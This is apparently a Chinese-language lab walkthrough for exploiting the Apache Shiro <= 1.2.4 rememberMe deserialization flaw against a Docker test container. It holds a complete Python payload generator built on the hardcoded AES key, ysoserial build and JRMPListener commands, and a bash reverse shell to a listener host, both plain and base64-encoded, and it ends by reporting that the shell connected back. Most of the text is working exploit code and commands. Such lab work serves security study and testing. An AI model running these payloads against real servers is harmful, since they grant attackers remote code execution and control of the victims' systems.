影响版本
Apache Shiro <= 1.2.4
产生原因
shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值—>Base64解码—>AES解密—>反序列化。 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
shiro.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
pip install pycrypto
生成ysoserial.jar包 需要安装java SDK 我使用的是8 jdk jre添加环境变量
接着安装apache-maven-3.6.2(自行百度) 添加maven环境变量
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp
最后生成的jar包会在ysoserial中的target中 使用带all的那个jar包
这样我们就准备好工具
接下来准备一个kali linux虚拟机与centos虚拟机 当然也可以两个都是centos 看自己使用习惯
在centos中安装docker 当做靶机 kali Linux nc监听 以及JRMP监听
centos 中拉取镜像
docker pull medicean/vulapps:s_shiro_1
启动镜像
[root@localhost ~]# docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
22c2b0db37c3681589a0344ad3993945aaf056b0c0d95e028b121c6dc9cdce23
[root@localhost ~]#
访问web 环境(http://192.168.10.93:8081/login.jsp)
启动brup抓包 登陆抓包 记得勾选 Remember Me
测试
首先使用py脚本生成payload
root@xiaopang:~/tools/shiro# python shiro.py 192.168.10.40:3829
rememberMe=IGuKQrBkRmKOUhBilssIDF4oSp5mJk9IX10QzWSDVKAk4PoroxM4kGwge8INSwsVkxYj4k7NFhECBP+CxBY2eqi4Rz95Wg8IXtJLcOJTkLjmHnrM0FMOBXoGLfP5jmvdbB7YQYckxTwRSlkqthD99n72bcDdqMjq2asNAYnRASLbVL0qhlWfHNg6Oh9vZa5EF8t80DGuYtDdJRzPIw7UlNIN7pHv2ScfHXij5Avy1y8YRLaQRhvk4dyHQFrcM8W8/tAFnHIlqc5hzDlsiNSa13yshu55ufOCZsO9h4IFYBmECRI/Gw+BypCyqvj7w3E4+AexmVqcfvBSa0kwrX0y2d4Ri0jTSapPJ4ZIuUiWlOc8WTbN5/qL+hQxHymUJpIt1HLsLLA7yVvkBFVsyo68mQ==
注意这里的ip填写自己的监听ip 这里的端口写的是JRMP监听端口
启动nc监听
root@xiaopang:~# nc -lvp 4445
listening on [any] 4445 ...
生成JRMP监听与反弹shell命令 需要用到这个http://www.jackson-t.ca/runtime-exec-payloads.html
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3829 CommonsCollections4 "这里写想执行的代码,我们这里写反弹shell命令"
这里的3829端口填写生成payload时写的端口
bash -i >& /dev/tcp/192.168.10.40/4445 0>&1
ip填写自己的nc监听的机子的ip 端口填写nc监听端口最后生成BASE64
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjQwLzQ0NDUgMD4mMQ==}|{base64,-d}|{bash,-i}
最后生成语句
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3829 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjQwLzQ0NDUgMD4mMQ==}|{base64,-d}|{bash,-i}"
发送payload
shell已成功弹回